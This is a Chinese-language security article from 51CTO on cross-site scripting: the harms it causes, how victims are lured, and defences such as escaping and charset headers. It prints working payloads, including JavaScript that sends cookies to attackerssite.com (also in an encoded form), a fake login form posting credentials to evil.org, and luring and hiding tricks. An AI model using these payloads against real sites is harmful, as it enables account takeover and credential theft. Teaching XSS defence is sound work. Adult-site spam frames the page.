成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

跨站腳本攻擊深入解析:跨站危害及cookie盜竊

原創
安全 應用安全
本文將詳細介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對跨站腳本攻擊的防御措施。

【51CTO.COM 獨家特稿,轉載請注明出處及作者】跨站腳本的名稱源自于這樣一個事實,即一個Web 站點(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個不同的、有漏洞的Web 站點中。當這些注入的代碼作為目標站點的代碼在受害者的瀏覽器中執行時,攻擊者就能竊取相應的敏感數據,并強迫用戶做一些用戶非本意的事情。

在本文的上篇中,我們詳細介紹了跨站腳本漏洞利用的過程,并對HTML注入進行深入分析;而本文將詳細介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對跨站腳本攻擊的防御措施。

一、跨站腳本的危害

XSS是一種對Web應用程序的用戶發動的攻擊,利用它攻擊者能裝扮成被攻擊的用戶來完全控制Web應用程序,即便Web應用程序位于一個防火墻之后并且攻擊者無法直接接觸該Web應用程序也是如此。XSS一般不會對用戶的機器造成損害,也不會對Web應用程序服務器直接造成破壞。如果成功,攻擊者可以做三種事情:

竊取Cookie

在受害用戶面前假冒成Web應用程序

在Web應用程序面前假冒成受害用戶

二、竊取Cookie

Cookie一般控制著對Web應用程序的訪問,如果攻擊者偷竊了受害用戶的Cookie,那么攻擊者就可以使用受害者的Cookie來完全控制受害者的帳戶。對于Cookie來說,其最佳實踐就是讓它在一段時間后過期,這樣的話攻擊者就只能在有限的時間內訪問受害者的帳戶。可以利用下面的代碼來竊取Cookie:

var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='

+document.cookie;

或者像下面這樣:

document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+

"?c="+document.cookie+"'〉");

如果某些字符是禁止的,則將其轉換為ASCII的十進制數,然后使用JavaScript的String.charFromCode()函數即可。下列JavaScript等價于前面的JavaScript:

eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,

97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,

97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,

101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,

100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));

三、釣魚攻擊

通過假冒Web應用程序,攻擊者可以將XSS用于社會工程。XSS攻擊得手后,攻擊者能夠完全控制Web應用程序的外觀。這可用于丑化web,例如攻擊者在頁面上放置一個無聊的圖片。適于打印的常見圖像之一是Stall0wn3d,即你被黑了。

下面是用于這種攻擊的HTML注入字符串:

〈script〉document.body.innerHTML="〈img

src=http://evil.org/stallown3d.jpg〉";〈/script〉.

然而,控制Web應用程序呈現在受害用戶面前的外觀比簡單顯示一些火辣熱圖更為有利,攻擊者可以以此發動釣魚攻擊:強制用戶向攻擊者提供機密信息。利用document.body.innerHTML,可以提供一個跟有弱點的Web應用程序的登錄頁面外觀完全一樣的登錄頁面,并且該登錄頁面來自那個被注入HTML的域,但是提交表單時,數據卻發往攻擊者選擇的站點。

因此,當受害用戶輸入他的或者她的用戶名和口令時,這些信息就會落入攻擊者手中。代碼如下所示:

document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form

action=http://evil.org/grabPasswords method=get〉

〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password

name=p〉〈input type=submit name=login〉〈/form〉";

使用這段代碼的一個小技巧是通過一個GET請求發送表單。這樣,攻擊者甚至不必編寫grabPasswords頁面,因為該請求將寫到Web服務器的錯誤信息日志里,這里的信息可以輕松讀取。

四、冒充受害者胡作非為

XSS對Web應用程序最大的影響在于,黑客能夠通過它假冒成Web應用程序的合法用戶。下面是一些攻擊者能夠對Web應用程序做的一些事情:
在一個webmail應用程序中,攻擊者可以:

以用戶的名義發送電子郵件

獲取用戶的聯系人名單

更改自動BCC屬性

更改隱私/日志記錄設置

在基于 Web 的即時通訊或聊天軟件中,攻擊者可以:

獲取聯系人名單

向聯系人發送消息

添加/刪除聯系人

在一個基于 Web 的網絡銀行或金融系統中,攻擊者能夠:

劃拔資金

申請信用卡

更改地址

在電子商務系統上,攻擊者能夠:

購買商品

每當分析XSS對站點的影響時,想一想如果他控制了受害者的鼠標和鍵盤能干什么就行了。考慮一下受害者的內部網中的受害者的計算機能做哪些壞事。要想假冒成用戶,攻擊者需要弄清Web應用程序是如何工作的。有時候,可以通過閱讀頁面源代碼來達此目的,但是最好的方法是使用一個Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。

這些web 代理會攔截往返于Web 瀏覽器和Web服務器之間的所有通信數據,甚至包括通過HTTPS傳輸的流量。您可以記錄這些會話以弄明白Web應用程序是向服務器發送回數據的。 這對于弄清楚如何假冒成該應用程序非常有幫助,此外,web 代理對于發現XSS及其他Web應用程序漏洞也有極大的幫助。#p#

五、XSS蠕蟲

一直在線的Web應用程序,諸如webmail、社交網絡、聊天室、在線多人游戲、在線賭場或者一切需要用戶交互以及需要在用戶間相互發送某種形式信息的Web應用程序,都容易受到XSS蠕蟲的攻擊。XSS蠕蟲充分地利用了Web應用程序的特性來自我傳播。例如,Webmail應用中的XSS蠕蟲利用了攻擊者能夠捕獲受害者的聯系人名單與發送電子郵件的事實。

當受害者點擊了指向HTML注入的鏈接時,XSS就會被激活,由此觸發腳本的執行。 腳本將搜索受害者的聯系人名單,然后發送電子郵件到受害者的聯系人名單中的每個聯系人。每個聯系人將收到一封來自有信譽的發件人(受害者)的電子郵件,該郵件會邀請聯系人單擊一些鏈接。一旦他單擊了該鏈接,這個聯系人就會變成了另一個受害者,然后他的聯系人也會收到他的來信。

XSS蠕蟲以極快的速度繁衍,能夠在短期內感染許多用戶,并引起大量的網絡流量。對于傳播其它攻擊諸如釣魚攻擊等,非常有效。更為有趣的是,攻擊者有時候會向Web應用程序添加隱藏的HTML 內容以便對瀏覽器發動多種攻擊。如果用戶運行的Web 瀏覽器不是最新的,攻擊者就能夠完全控制用戶的機器。本例中,XSS用來傳遞某些其他弱點。

上面部分介紹了跨站腳本的危害,下面介紹攻擊者是如何誘騙受害者的。

六、誘捕受害者

現在,我們已經知道如何尋找HTML注入點,以及如果攻擊者能夠使用戶單擊指向注入的HTML的鏈接的話,他能夠做哪些事情。有時候,注入的HTML會在正常的用戶交互過程中被激活。也就是說,有許多有效的方法。然而,通常情況下攻擊者必須使用戶單擊了指向注入的HTML代碼的鏈接才能激活攻擊過程。本節簡要討論如何促使受害者去單擊一個鏈接。

現在假設您就是攻擊者。如果您發現可以在http://search.engine.com/search?p= 注入HTML,并且在http://evil.org/e.js處設計了一個惡意的腳本。 現在,你只要設法讓人們點擊下列鏈接就行了:

http://search.engine.com/search?p=

但是,究竟會有多少人會點擊上述的鏈接呢?對電腦知識稍有了解的用戶一眼就能看出點擊上述鏈接肯定不會有好事。因此,攻擊者需要給這個鏈接化化妝,然后引誘用戶單擊一些更誘人的東西。

七、隱蔽指向注入的HTML的鏈接

可以用不同的方法來隱蔽鏈接,例如通過anchor標簽、使用URL縮短技術站點、博客以及為攻擊者所控制的網站等。

第一個建議十分簡單,大多數Web應用程序會自動在URL周圍封裝上錨標簽以便于用戶跟隨鏈接。如果攻擊者可以寫入他自己的超鏈接,諸如在一個webmail應用程序中,那么攻擊者就能夠構造一個如下所示的鏈接:

http://goodsite.com/cuteKittens.jpg

這個鏈接會作為http://goodsite.com/cuteKittens.jpg出現,然而,當受害者點擊這個鏈接時,將被帶至注入的HTML(即實際上點擊的是攻擊者注入的HTML)。

用于縮短URL的Web應用程序,諸如TinyURL、YATUC、ipulink.com、get-shorty.com(以及所有實現get-shorty功能的網站)等等,都能把冗長的URL轉換成簡短的URL。這些站點都是通過將URL映射到一個較短的URL,而較短的URL又重定向到一個長URL來實現的。

由于使用了較短的URL把冗長的URL隱藏了起來,這樣就更容易獲取人們(甚至一些老道的計算機用戶)的信任,從而單擊惡意鏈接,例如,對于下面這個容易露餡的HTML注入:

http://search.engine.com/search?p=

我們可以把它映射成一個單獨的URL,如下所示:

http://tinyurl.com/2optv9

目前,就算是警惕性很高的計算機用戶也很少有人知道類似的TinyURL的提供URL縮短服務的站點。這樣,我們可以通過不太流行的提供URL縮短技術的Web應用程序獲取更多有經驗的計算機用戶的信任,從而使他們去毫無疑慮的點擊我們的鏈接;此外,我們也可以創建自己的web頁面,并在其中放入下列內容:

注意,document.location的字符串中的標簽在上述JavaScript被執行之前是作為HTML出現的。對于POST方式的HTML注入,您可以編寫下面的代碼:

〈html〉
〈body〉
〈!-- something distracting like a cute kitten --〉
〈img src=cuteKitten.jpg〉
〈!-- and some HTML injection --〉
〈form action="name="evilForm"〉
〈input type="hidden" name="p" value="〈script〉a_lert(1)〈/script〉"〉
〈/form〉
〈script〉
document.evilForm.submit()
〈/script〉
〈/body〉
〈/html〉

現在,把上述代碼放到您自己的Web站點或者blog中——如果沒有的話,現在有許多免費的Web站點以及blog托管站點可用。
一種不錯的隱蔽技術是濫用IE的MIME類型不匹配問題。例如,創建一個文本文件,將其命名為cuteKitten.jpg,然后放入下列內容:

〈iframe style="display:none"
src="
〈img src="someCuteKitten.jpg"〉

上載cuteKitten.jpg,例如放到http://somwhere.com/cuteKitten.jpg。當用戶點擊該鏈接時,IE會認出cuteKitten.jpg根本就不是一張圖像,所以它繼而將其作為HTML進行解釋。這樣在顯示圖像someCuteKitten.jpg的時候實際上會在后臺利用一個注入的HTML代碼。

最后,攻擊者只要注冊一個聽起來很正規的域名并且將該html注入寄放在該域名中即可。例如,googlesecured.com就是一個看上去很真可信的域名。

八、促使用戶單擊注入的HTML代碼

利用“免費色情圖片”以及“偉哥甩賣”來引誘別人已經成為過去,現在,攻擊者通常會促使用戶去做一些普通大眾經常做的事情,諸如單擊一個新聞鏈接、欣賞一副可愛的小貓的圖片等等,當然使用的方法在前面我們已經說過了。

例如,快到情人節了,大多數年輕人都希望給愛人一個驚喜。攻擊者就會考慮利用“閱讀本文以了解如何您的愛人一個與眾不同的情人節”之類的文字來誘惑用戶單擊鏈接。借助于XSS蠕蟲,如果人們看到這封郵件來自其好友的話,那么人們會毫不猶豫地點擊它。

然而,攻擊者放入的文字越多,越容易引起潛在受害者的疑慮。現今,最有效的信件應當只發給潛在的受害者一個鏈接,而根本不附加任何文字。好奇是人類的本性,在這種強烈的本能的驅使下,點擊該鏈接將大有人在。

至此,攻擊手法的介紹已經告一段落,下面開始簡要介紹針對跨站腳本攻擊的防御措施。

九、防御跨站點腳本攻擊

為了防御XSS攻擊,開發人員必須謹慎處理由用戶提供的并且又反過來提供給用戶的那些數據。這里所說的“用戶提供的數據”應該定義為所有從外部網絡連接發送給Web應用程序的那些數據。

它可以是登錄時用HTML表單提交的用戶名,一個后臺的Ajax請求、一封電子郵件、乃至http報頭。要把所有這些數據都看作是從外部網絡連接進入Web應用程序的有潛在危險的數據。

對于所有由用戶提供的隨后又通過HTTP應答(諸如Web頁面以及AJAX響應(HTTP響應碼200)、頁面未找到錯誤(HTTP響應碼404)、服務器錯誤(類似的HTTP 響應碼502)、重定向(例如HTTP 響應碼302,等等)回顯給用戶的那些數據,開發人員必須采取下列措施之一:

對數據進行正確地轉義處理,以保證它們不會被解釋為HTML代碼(對瀏覽器而言)或者XML代碼(對Flash而言)。

刪除會被惡意使用的字符串或者字符

一般情況下,刪除一些字符會對用戶體驗造成影響,舉例來說,如果開發人員刪除了上撇號(’),那么對某些人來說就會帶來不便,如姓氏中帶有撇號的人,他們的姓氏就無法正常顯示。同時,嚴禁開發人員刪除字符串,因為完全可以通過許多不同的形式來表示字符串。應用程序和瀏覽器會對字符串作出不同的解釋。例如,SAMY蠕蟲利用了IE不把換行符作為定界符字符這一事實,因此,IE看來JavaScript和jav%0dascr%0dipt是一回事。遺憾的是,MySpace把換行符解釋為字的分界符號,并允許將向Samy(及其他人)的MySpace頁面中放入下列內容:

〈 div id="mycode" expr="a_lert('1')" style="background:url('java

script:eval(document.all.mycode.expr)')"〉〈/div〉

我們建議對所有用戶提供的又被發回給Web瀏覽器的數據都進行轉義處理,包括AJAX調用、移動式應用、Web頁面、重定向等等內的數據。然而,對字符串進行轉義處理并不是我們想得那么簡單:您必須根據用戶提供的數據將被放到HTTP應答中的具體位置來決定使用URL編碼、HTML實體編碼或者JavaScript編碼進行轉義。

十、防范基于UTF-7的XSS

基于UTF-7的攻擊是很容易防范的,只要強制指定在HTTP報頭中的或者HTML響應內部的字符編碼即可。我們建議對默認HTTP報頭做如下設置:

Content-Type: text ml; charset=utf-8

還應當對全部HTML響應添加下列限制:

< meta http-equiv="Content-Type" content="text ml;charset=utf-8" >

十一、結束語

在瀏覽器中已經建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來了更多的安全問題和安全措施。然而,如果攻擊者可以強迫用戶執行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。

跨站點腳本攻擊(XSS)技術能夠強迫用戶執行攻擊者以受害者名義在某個域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個域上的Web應用程序能夠提供(即供應、返回)被攻擊者所控制的字符。因此,攻擊者可以向頁面注入代碼,而這些代碼將來會在這個有弱點的域的上下文中執行。本文詳細介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的。最后介紹針對跨站腳本攻擊的防御措施。至此,讀者已經能夠對跨站腳本攻擊有一個全面深入的了解了。

 

責任編輯:安泉 來源: 51CTO.com
相關推薦

2010-06-07 20:19:49

2010-09-27 17:37:10

2009-02-24 17:19:38

2009-03-09 12:37:48

2012-11-15 09:51:36

2013-01-11 17:33:46

2010-06-30 16:26:05

2010-09-10 10:57:33

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2017-06-14 16:08:31

2010-09-10 14:13:11

2010-09-09 11:19:10

2015-02-01 09:26:10

2012-04-12 14:45:13

2009-05-04 16:09:04

2010-09-10 09:18:51

2022-08-12 07:01:00

Node.jsXSS腳本

2012-11-09 15:42:44

2009-10-25 14:09:06

2009-10-23 13:08:23

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品久久久一区 | 狠狠热视频 | 久久综合九色综合欧美狠狠 | www日本高清 | 中文字幕日韩欧美 | 欧美精品一区二区三区在线 | 国产精品99久久久久久久vr | 久久69精品久久久久久久电影好 | 日韩中文在线观看 | 国产一区二区三区在线 | 日韩欧美亚洲一区 | av在线黄| 国产激情视频网 | 免费精品视频在线观看 | 欧洲一级视频 | 91xxx在线观看 | 国产女人叫床高潮大片免费 | 中文字幕av免费 | 高清人人天天夜夜曰狠狠狠狠 | 精品国产伦一区二区三区观看体验 | 阿v视频在线观看 | 久久久久久亚洲欧洲 | av中文字幕在线观看 | 在线观看av网站 | 日韩一区二区三区在线播放 | 欧美日韩中文在线 | 久久久久久久av麻豆果冻 | 久久99精品久久久久久国产越南 | 国产一区二区在线看 | 欧美一级久久久猛烈a大片 日韩av免费在线观看 | 国产sm主人调教女m视频 | 国产精品99久久久久久久vr | 亚洲色图插插插 | 怡红院成人在线视频 | 91麻豆蜜桃一区二区三区 | 偷拍自拍网站 | 久久久久久毛片免费观看 | av在线免费观看不卡 | 一a级片 | 99国内精品久久久久久久 | 日韩精品一区二区三区中文字幕 |